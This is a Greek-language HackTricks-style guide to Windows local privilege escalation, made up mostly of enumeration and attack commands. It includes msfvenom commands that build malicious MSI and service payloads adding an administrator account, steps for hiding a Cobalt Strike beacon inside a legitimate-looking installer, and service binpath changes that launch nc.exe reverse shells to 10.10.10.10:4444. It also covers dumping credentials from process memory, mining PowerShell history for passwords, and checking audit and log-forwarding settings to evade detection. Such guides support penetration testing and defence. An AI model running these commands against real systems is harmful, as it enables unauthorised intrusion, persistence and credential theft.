Windows Local Privilege Escalation

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks για το AWS)!

Καλύτερο εργαλείο για αναζήτηση διανυσμάτων ανύψωσης προνομίων στα Windows: WinPEAS

Αρχική Θεωρία Windows

Διακριτικά Πρόσβασης

Αν δεν γνωρίζετε τι είναι τα Διακριτικά Πρόσβασης των Windows, διαβάστε την παρακάτω σελίδα πριν συνεχίσετε:

pageAccess Tokens

ACLs - DACLs/SACLs/ACEs

Ελέγξτε την παρακάτω σελίδα για περισσότερες πληροφορίες σχετικά με τα ACLs - DACLs/SACLs/ACEs:

pageACLs - DACLs/SACLs/ACEs

Επίπεδα Ακεραιότητας

Αν δεν γνωρίζετε τι είναι τα επίπεδα ακεραιότητας στα Windows, πρέπει να διαβάσετε την παρακάτω σελίδα πριν συνεχίσετε:

pageIntegrity Levels

Ελέγχοι Ασφαλείας Windows

Υπάρχουν διάφορα πράγματα στα Windows που θα μπορούσαν να σας εμποδίσουν από τον απαρίθμηση του συστήματος, την εκτέλεση εκτελέσιμων αρχείων ή ακόμη και να ανιχνεύσουν τις δραστηριότητές σας. Θα πρέπει να διαβάσετε την ακόλουθη σελίδα και να απαριθμήσετε όλα αυτά τα μηχανισμούς άμυνας πριν ξεκινήσετε την απαρίθμηση ανύψωσης προνομίων:

pageWindows Security Controls

Πληροφορίες Συστήματος

Απαρίθμηση πληροφοριών έκδοσης

Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τις ενημερώσεις που έχουν εφαρμοστεί).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Εκμετάλλευση Εκδόσεων

Αυτό το site είναι χρήσιμο για την αναζήτηση λεπτομερών πληροφοριών σχετικά με τις ευπαθείς σημεία ασφαλείας της Microsoft. Αυτή η βάση δεδομένων έχει περισσότερες από 4.700 ευπαθείς σημεία ασφαλείας, δείχνοντας την μαζική επιφάνεια επίθεσης που παρουσιάζει ένα περιβάλλον Windows.

Στο σύστημα

  • post/windows/gather/enum_patches

  • post/multi/recon/local_exploit_suggester

  • winpeas (Το Winpeas έχει ενσωματωμένο το watson)

Τοπικά με πληροφορίες συστήματος

Αποθετήρια στο Github με εκμεταλλεύσεις:

Περιβάλλον

Υπάρχουν κάποια διαπιστευτήρια/Χυμώδεις πληροφορίες που έχουν αποθηκευτεί στις μεταβλητές περιβάλλοντος;

set
dir env:
Get-ChildItem Env: | ft Key,Value

Ιστορικό PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Αρχεία καταγραφής PowerShell Transcript

Μπορείτε να μάθετε πώς να ενεργοποιήσετε αυτή τη λειτουργία στο https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

Καταγραφή Ενότητας PowerShell

Λεπτομέρειες εκτελέσεων αγωγών PowerShell καταγράφονται, περιλαμβάνοντας εκτελεσθέντες εντολές, κλήσεις εντολών και τμήματα σεναρίων. Ωστόσο, ενδέχεται να μην καταγράφονται πλήρως λεπτομέρειες εκτέλεσης και αποτελέσματα εξόδου.

Για να ενεργοποιήσετε αυτήν τη λειτουργία, ακολουθήστε τις οδηγίες στην ενότητα "Αρχεία Μεταγραφής", επιλέγοντας το "Καταγραφή Ενότητας" αντί για το "Μεταγραφή Powershell".

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Για να δείτε τα τελευταία 15 συμβάντα από τα logs του Powershell μπορείτε να εκτελέσετε:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

Καταγραφή Μπλοκ Σεναρίου PowerShell

Καταγράφεται μια πλήρης εγγραφή δραστηριότητας και περιεχομένου της εκτέλεσης του σεναρίου, εξασφαλίζοντας ότι κάθε μπλοκ κώδικα καταγράφεται καθώς εκτελείται. Αυτή η διαδικασία διατηρεί έναν πλήρη απολογισμό ελέγχου κάθε δραστηριότητας, πολύτιμος για την ανάλυση ψηφιακών αποδεικτικών στοιχείων και την ανάλυση κακόβουλης συμπεριφοράς. Με την καταγραφή όλων των δραστηριοτήτων κατά την εκτέλεση, παρέχονται λεπτομερείς εισαγωγές στη διαδικασία.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Τα γεγονότα καταγραφής για το Script Block μπορούν να βρεθούν στον Windows Event Viewer στη διαδρομή: Application and Services Logs > Microsoft > Windows > PowerShell > Operational. Για να δείτε τα τελευταία 20 γεγονότα, μπορείτε να χρησιμοποιήσετε:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Ρυθμίσεις Διαδικτύου

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Δίσκοι

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Μπορείτε να εκμεταλλευτείτε το σύστημα εάν οι ενημερώσεις δεν ζητούνται χρησιμοποιώντας httpS αλλά http.

Ξεκινήστε ελέγχοντας εάν το δίκτυο χρησιμοποιεί μη-SSL ενημερώσεις WSUS εκτελώντας το παρακάτω:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Εάν λάβετε μια απάντηση όπως:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

Και αν HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer είναι ίσο με 1.

Τότε, είναι εκμεταλλεύσιμο. Αν το τελευταίο καταχωρίσει είναι ίσο με 0, τότε, η καταχώριση WSUS θα αγνοηθεί.

Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: Wsuxploit, pyWSUS - Αυτά είναι σενάρια εκμετάλλευσης όπλων MiTM για να εισάγουν 'ψεύτικες' ενημερώσεις στην μη-SSL κίνηση WSUS.

Διαβάστε την έρευνα εδώ:

WSUS CVE-2020-1013

Διαβάστε την πλήρη έκθεση εδώ. Βασικά, αυτή είναι η αδυναμία που εκμεταλλεύεται αυτό το σφάλμα:

Αν έχουμε τη δυνατότητα να τροποποιήσουμε τον τοπικό μας διακομιστή proxy και οι ενημερώσεις των Windows χρησιμοποιούν τον διακομιστή proxy που έχει ρυθμιστεί στις ρυθμίσεις του Internet Explorer, έχουμε συνεπώς τη δυνατότητα να εκτελέσουμε το PyWSUS τοπικά για να παρεμβάλουμε τη δική μας κίνηση και να εκτελέσουμε κώδικα ως υψηλότερος χρήστης στο περιουσιακό μας στοιχείο.

Επιπλέον, καθώς ο υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει επίσης το αποθετήριο πιστοποιητικών του. Αν δημιουργήσουμε ένα πιστοποιητικό αυτο-υπογεγραμμένο για το όνομα κεντρικού υπολογιστή WSUS και προσθέσουμε αυτό το πιστοποιητικό στο αποθετήριο πιστοποιητικών του τρέχοντος χρήστη, θα μπορούμε να παρεμβάλουμε την κίνηση WSUS τόσο HTTP όσο και HTTPS. Η υπηρεσία WSUS δεν χρησιμοποιεί μηχανισμούς παρόμοιους με το HSTS για να εφαρμόσει μια επικύρωση τύπου εμπιστοσύνης-στην-πρώτη-χρήση στο πιστοποιητικό. Αν το πιστοποιητικό που παρουσιάζεται είναι εμπιστευμένο από τον χρήστη και έχει το σωστό όνομα κεντρικού υπολογιστή, θα γίνει αποδεκτό από την υπηρεσία.

Μπορείτε να εκμεταλλευτείτε αυτήν την ευπάθεια χρησιμοποιώντας το εργαλείο WSUSpicious (όταν απελευθερωθεί).

KrbRelayUp

Μια ευπάθεια εκμετάλλευσης προνομίων στοπληροφοριών υπάρχει σε περιβάλλοντα Windows domain υπό συγκεκριμένες συνθήκες. Αυτές οι συνθήκες περιλαμβάνουν περιβάλλοντα όπου δεν επιβάλλεται η υπογραφή LDAP, οι χρήστες διαθέτουν δικαιώματα αυτο-δικαιωμάτων που τους επιτρέπουν να ρυθμίσουν Περιορισμένη Ανάθεση Πόρων βάσει Αντικειμένου (RBCD), και η δυνατότητα για τους χρήστες να δημιουργούν υπολογιστές εντός του τομέα. Σημαντικό είναι να σημειωθεί ότι αυτές οι απαιτήσεις πληρούνται χρησιμοποιώντας τις προεπιλεγμένες ρυθμίσεις.

Βρείτε την εκμετάλλευση στο https://github.com/Dec0ne/KrbRelayUp

Για περισσότερες πληροφορίες σχετικά με τη ροή της επίθεσης ελέγξτε https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Αν αυτά τα 2 καταχωρίσεις είναι ενεργοποιημένες (η τιμή είναι 0x1), τότε οι χρήστες οποιουδήποτε προνόμιου μπορούν να εγκαταστήσουν (εκτελέσουν) αρχεία *.msi ως NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Φορτία Metasploit

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Αν έχετε μια συνεδρία meterpreter, μπορείτε να αυτοματοποιήσετε αυτήν την τεχνική χρησιμοποιώντας τον ενότητα exploit/windows/local/always_install_elevated

PowerUP

Χρησιμοποιήστε την εντολή Write-UserAddMSI από το power-up για να δημιουργήσετε μέσα στον τρέχοντα κατάλογο ένα δυαδικό αρχείο Windows MSI για την ανάδειξη προνομίων. Αυτό το σενάριο γράφει ένα προεπιλεγμένο εγκαταστάτη MSI που ζητάει προσθήκη χρήστη/ομάδας (επομένως θα χρειαστείτε πρόσβαση στο GUI):

Write-UserAddMSI

Περιτύλιγμα MSI

Διαβάστε αυτό το εγχειρίδιο για να μάθετε πώς να δημιουργήσετε ένα περιτύλιγμα MSI χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να περιτυλίξετε ένα αρχείο ".bat" αν θέλετε απλά να εκτελέσετε γραμμές εντολών.

pageMSI Wrapper

Δημιουργία MSI με WIX

pageCreate MSI with WIX

Δημιουργία MSI με το Visual Studio

  • Δημιουργήστε με το Cobalt Strike ή το Metasploit ένα νέο Windows EXE TCP payload στο C:\privesc\beacon.exe

  • Ανοίξτε το Visual Studio, επιλέξτε Δημιουργία νέου έργου και πληκτρολογήστε "installer" στο πλαίσιο αναζήτησης. Επιλέξτε το έργο Setup Wizard και κάντε κλικ στο Επόμενο.

  • Δώστε στο έργο ένα όνομα, όπως AlwaysPrivesc, χρησιμοποιήστε το C:\privesc για την τοποθεσία, επιλέξτε τοποθέτηση λύσης και έργου στον ίδιο κατάλογο, και κάντε κλικ στο Δημιουργία.

  • Συνεχίστε να κάνετε κλικ στο Επόμενο μέχρι να φτάσετε στο βήμα 3 από 4 (επιλογή αρχείων για συμπερίληψη). Κάντε κλικ στο Προσθήκη και επιλέξτε το payload Beacon που μόλις δημιουργήσατε. Στη συνέχεια, κάντε κλικ στο Ολοκλήρωση.

  • Επισημάνετε το έργο AlwaysPrivesc στο Εξερευνητή λύσεων και στις Ιδιότητες, αλλάξτε το TargetPlatform από x86 σε x64.

  • Υπάρχουν και άλλες ιδιότητες που μπορείτε να αλλάξετε, όπως ο Συγγραφέας και ο Κατασκευαστής που μπορεί να κάνουν την εγκατεστημένη εφαρμογή να φαίνεται πιο νόμιμη.

  • Δεξί κλικ στο έργο και επιλέξτε Προβολή > Προσαρμοσμένες ενέργειες.

  • Δεξί κλικ στην Εγκατάσταση και επιλέξτε Προσθήκη προσαρμοσμένης ενέργειας.

  • Διπλό κλικ στο Φάκελος Εφαρμογής, επιλέξτε το αρχείο beacon.exe σας και κάντε κλικ στο ΟΚ. Αυτό θα εξασφαλίσει ότι το payload του beacon θα εκτελεστεί αμέσως μόλις εκτελεστεί ο εγκαταστάτης.

  • Υπό τις Ιδιότητες Προσαρμοσμένης Ενέργειας, αλλάξτε το Run64Bit σε True.

  • Τέλος, κάντε την κατασκευή.

  • Αν εμφανιστεί το προειδοποιητικό μήνυμα Το αρχείο 'beacon-tcp.exe' που στοχεύει σε 'x64' δεν είναι συμβατό με την κατεύθυνση της πλατφόρμας στόχου του έργου 'x86', βεβαιωθείτε ότι έχετε ορίσει την πλατφόρμα σε x64.

Εγκατάσταση MSI

Για να εκτελέσετε την εγκατάσταση του κακόβουλου αρχείου .msi στο παρασκήνιο:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Για να εκμεταλλευτείτε αυτή την ευπάθεια μπορείτε να χρησιμοποιήσετε: exploit/windows/local/always_install_elevated

Αντιιικά και Ανιχνευτές

Ρυθμίσεις Ελέγχου

Αυτές οι ρυθμίσεις καθορίζουν τι καταγράφεται, οπότε πρέπει να είστε προσεκτικοί

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Η Προώθηση Συμβάντων των Windows (Windows Event Forwarding) είναι ενδιαφέρον να γνωρίζουμε πού στέλνονται τα logs

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS σχεδιάστηκε για τη διαχείριση των τοπικών κωδικών διαχειριστή, εξασφαλίζοντας ότι κάθε κωδικός είναι μοναδικός, τυχαίος και ενημερώνεται τακτικά σε υπολογιστές που είναι ενταγμένοι σε έναν τομέα. Αυτοί οι κωδικοί αποθηκεύονται με ασφάλεια μέσα στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες που έχουν δοθεί επαρκή δικαιώματα μέσω των ACLs, επιτρέποντάς τους να προβάλλουν τους τοπικούς κωδικούς διαχειριστή εάν έχουν εξουσιοδοτηθεί.

pageLAPS

WDigest

Εάν είναι ενεργό, οι κωδικοί σε καθαρό κείμενο αποθηκεύονται στο LSASS (Local Security Authority Subsystem Service). Περισσότερες πληροφορίες σχετικά με το WDigest σε αυτήν τη σελίδα.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

Προστασία LSA

Αρχίζοντας από τα Windows 8.1, η Microsoft εισήγαγε ενισχυμένη προστασία για την Τοπική Αρχή Ασφαλείας (LSA) για να αποκλείσει προσπάθειες από μη αξιόπιστες διεργασίες να διαβάσουν τη μνήμη της ή να ενθέσουν κώδικα, ενισχύοντας περαιτέρω το σύστημα. Περισσότερες πληροφορίες σχετικά με την Προστασία LSA εδώ.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Προστασία Διαπιστευτηρίων

Η Προστασία Διαπιστευτηρίων εισήχθη στα Windows 10. Ο σκοπός της είναι να προστατεύει τα διαπιστευτήρια που αποθηκεύονται σε μια συσκευή από απειλές όπως οι επιθέσεις pass-the-hash. | Περισσότερες πληροφορίες σχετικά με την Προστασία Διαπιστευτηρίων εδώ.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Τα διαπιστευτήρια τομέα ελέγχονται από την Τοπική Αρχή Ασφαλείας (LSA) και χρησιμοποιούνται από στοιχεία του λειτουργικού συστήματος. Όταν τα δεδομένα σύνδεσης ενός χρήστη ελέγχονται από ένα εγγεγραμμένο πακέτο ασφαλείας, συνήθως δημιουργούνται διαπιστευτήρια τομέα για τον χρήστη. Περισσότερες πληροφορίες για τα Αποθηκευμένα Διαπιστευτήρια εδώ.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Χρήστες & Ομάδες

Απαρίθμηση Χρηστών & Ομάδων

Πρέπει να ελέγξετε εάν κάποια από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέρουσες άδειες.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Προνομιούχες ομάδες

Αν ανήκετε σε κάποια προνομιούχα ομάδα, μπορείτε να αναβαθμίσετε τα προνόμιά σας. Μάθετε σχετικά με τις προνομιούχες ομάδες και πώς να τις εκμεταλλευτείτε για την αναβάθμιση προνομίων εδώ:

pagePrivileged Groups

Αλλαγή διακριτικών

Μάθετε περισσότερα για το τι είναι ένα διακριτικό σε αυτήν τη σελίδα: Windows Tokens. Ελέγξτε την παρακάτω σελίδα για να μάθετε για ενδιαφέροντα διακριτικά και πώς να τα εκμεταλλευτείτε:

pageAbusing Tokens

Συνδεδεμένοι χρήστες / Συνεδρίες

qwinsta
klist sessions

Φάκελοι Αρχικού Καταλόγου

dir C:\Users
Get-ChildItem C:\Users

Πολιτική Κωδικών πρόσβασης

net accounts

Λήψη του περιεχομένου του πρόχειρου

powershell -command "Get-Clipboard"

Εκτέλεση Διεργασιών

Δικαιώματα Αρχείων και Φακέλων

Καταρχάς, η λίστα των διεργασιών ελέγχει για κωδικούς πρόσβασης μέσα στη γραμμή εντολών της διεργασίας. Ελέγξτε αν μπορείτε να αντικαταστήσετε κάποιο δυαδικό που εκτελείται ή αν έχετε δικαιώματα εγγραφής στον φάκελο του δυαδικού για να εκμεταλλευτείτε πιθανές επιθέσεις DLL Hijacking:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Πάντα ελέγχετε για πιθανούς αποσφαλματωτές electron/cef/chromium που εκτελούνται, μπορείτε να τους εκμεταλλευτείτε για να αναβαθμίσετε δικαιώματα.

Έλεγχος δικαιωμάτων των διεργασιών των δυαδικών αρχείων

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Έλεγχος των δικαιωμάτων των φακέλων των διεργασιών των δυαδικών αρχείων (Απάτη DLL)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Εξόρυξη Κωδικών Μνήμης

Μπορείτε να δημιουργήσετε ένα αντίγραφο μνήμης ενός εκτελούμενου διεργασίας χρησιμοποιώντας το procdump από τα sysinternals. Υπηρεσίες όπως το FTP έχουν τα διαπιστευτήρια σε καθαρό κείμενο στη μνήμη, προσπαθήστε να κάνετε αντίγραφο της μνήμης και να διαβάσετε τα διαπιστευτήρια.

procdump.exe -accepteula -ma <proc_name_tasklist>

Επισφαλείς εφαρμογές GUI

Οι εφαρμογές που εκτελούνται ως SYSTEM μπορεί να επιτρέψουν σε έναν χρήστη να εκκινήσει ένα CMD ή να περιηγηθεί σε φακέλους.

Παράδειγμα: "Βοήθεια και Υποστήριξη των Windows" (Windows + F1), αναζητήστε "command prompt", κάντε κλικ στο "Κάντε κλικ για να ανοίξετε το Command Prompt"

Υπηρεσίες

Λήψη λίστας υπηρεσιών:

net start
wmic service list brief
sc query
Get-Service

Δικαιώματα

Μπορείτε να χρησιμοποιήσετε το sc για να λάβετε πληροφορίες για ένα υπηρεσία.

sc qc <service_name>

Συνιστάται να έχετε το δυαδικό αρχείο accesschk από το Sysinternals για να ελέγξετε το απαιτούμενο επίπεδο προνομίων για κάθε υπηρεσία.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Συνιστάται να ελέγξετε εάν οι "Εξουσιοδοτημένοι Χρήστες" μπορούν να τροποποιήσουν οποιαδήποτε υπηρεσία:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Μπορείτε να κατεβάσετε το accesschk.exe για XP από εδώ

Ενεργοποίηση υπηρεσίας

Αν αντιμετωπίζετε αυτό το σφάλμα (για παράδειγμα με το SSDPSRV):

System error 1058 has occurred. The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Μπορείτε να το ενεργοποιήσετε χρησιμοποιώντας

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Να ληφθεί υπόψη ότι η υπηρεσία upnphost εξαρτάται από την υπηρεσία SSDPSRV για να λειτουργήσει (για το XP SP1)

Ένας άλλος τρόπος αντιμετώπισης αυτού του προβλήματος είναι η εκτέλεση:

sc.exe config usosvc start= auto

Τροποποίηση της διαδρομής του δυαδικού αρχείου υπηρεσίας

Στην περίπτωση όπου η ομάδα "Εξουσιοδοτημένοι χρήστες" διαθέτει SERVICE_ALL_ACCESS σε μια υπηρεσία, είναι δυνατή η τροποποίηση του εκτελέσιμου δυαδικού αρχείου της υπηρεσίας. Για να τροποποιήσετε και να εκτελέσετε το sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Επανεκκίνηση υπηρεσίας

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Τα δικαιώματα μπορούν να αναβαθμιστούν μέσω διαφόρων άδειών:

  • SERVICE_CHANGE_CONFIG: Επιτρέπει την αναδιαμόρφωση του δυαδικού της υπηρεσίας.

  • WRITE_DAC: Ενεργοποιεί την αναδιάρθρωση δικαιωμάτων, οδηγώντας στη δυνατότητα αλλαγής των ρυθμίσεων της υπηρεσίας.

  • WRITE_OWNER: Επιτρέπει την απόκτηση ιδιοκτησίας και την αναδιάρθρωση δικαιωμάτων.

  • GENERIC_WRITE: Κληρονομεί τη δυνατότητα αλλαγής των ρυθμίσεων της υπηρεσίας.

  • GENERIC_ALL: Επίσης κληρονομεί τη δυνατότητα αλλαγής των ρυθμίσεων της υπηρεσίας.

Για τον εντοπισμό και την εκμετάλλευση αυτής της ευπάθειας, μπορεί να χρησιμοποιηθεί το exploit/windows/local/service_permissions.

Αδύναμα δικαιώματα δυαδικών υπηρεσιών

Ελέγξτε αν μπορείτε να τροποποιήσετε το δυαδικό που εκτελείται από μια υπηρεσία ή αν έχετε δικαιώματα εγγραφής στον φάκελο όπου βρίσκεται το δυαδικό (DLL Hijacking). Μπορείτε να λάβετε κάθε δυαδικό που εκτελείται από μια υπηρεσία χρησιμοποιώντας το wmic (όχι στο system32) και να ελέγξετε τα δικαιώματά σας χρησιμοποιώντας το icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Μπορείτε επίσης να χρησιμοποιήσετε τα sc και icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Δικαιώματα τροποποίησης καταχωρήσεων υπηρεσιών

Πρέπει να ελέγξετε εάν μπορείτε να τροποποιήσετε οποιαδήποτε καταχώρηση υπηρεσίας. Μπορείτε να ελέγξετε τα δικαιώματά σας σε μια καταχώρηση υπηρεσίας κάνοντας:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Πρέπει να ελεγχθεί εάν οι Εξουσιοδοτημένοι Χρήστες ή NT AUTHORITY\INTERACTIVE έχουν δικαιώματα FullControl. Αν ναι, το δυαδικό που εκτελείται από την υπηρεσία μπορεί να τροποποιηθεί.

Για να αλλάξετε τη διαδρομή του δυαδικού που εκτελείται:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Δικαιώματα προσθήκης δεδομένων/προσθήκης υποκαταλόγου στο μητρώο υπηρεσιών

Αν έχετε αυτήν την άδεια πάνω σε ένα μητρώο, αυτό σημαίνει ότι μπορείτε να δημιουργήσετε υπομητρώα από αυτό. Στην περίπτωση των υπηρεσιών των Windows αυτό είναι αρκετό για να εκτελέσετε αυθαίρετο κώδικα:

pageAppendData/AddSubdirectory permission over service registry

Μη-περικλειόμενοι Διαδρομές Υπηρεσιών

Εάν η διαδρομή προς ένα εκτελέσιμο δεν βρίσκεται μέσα σε εισαγωγικά, τα Windows θα προσπαθήσουν να εκτελέσουν κάθε τελείωμα πριν από ένα κενό.

Για παράδειγμα, για τη διαδρομή C:\Program Files\Some Folder\Service.exe τα Windows θα προσπαθήσουν να εκτελέσουν:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Κατάλογος όλων των μη-περικυκλωμένων διαδρομών υπηρεσιών, εξαιρώντας αυτές που ανήκουν σε ενσωματωμένες υπηρεσίες των Windows:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services

#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Μπορείτε να ανιχνεύσετε και να εκμεταλλευτείτε αυτή την ευπάθεια με το metasploit: exploit/windows/local/trusted\_service\_path Μπορείτε να δημιουργήσετε χειροκίνητα ένα δυαδικό αρχείο υπηρεσίας με το metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Ενέργειες Ανάκτησης

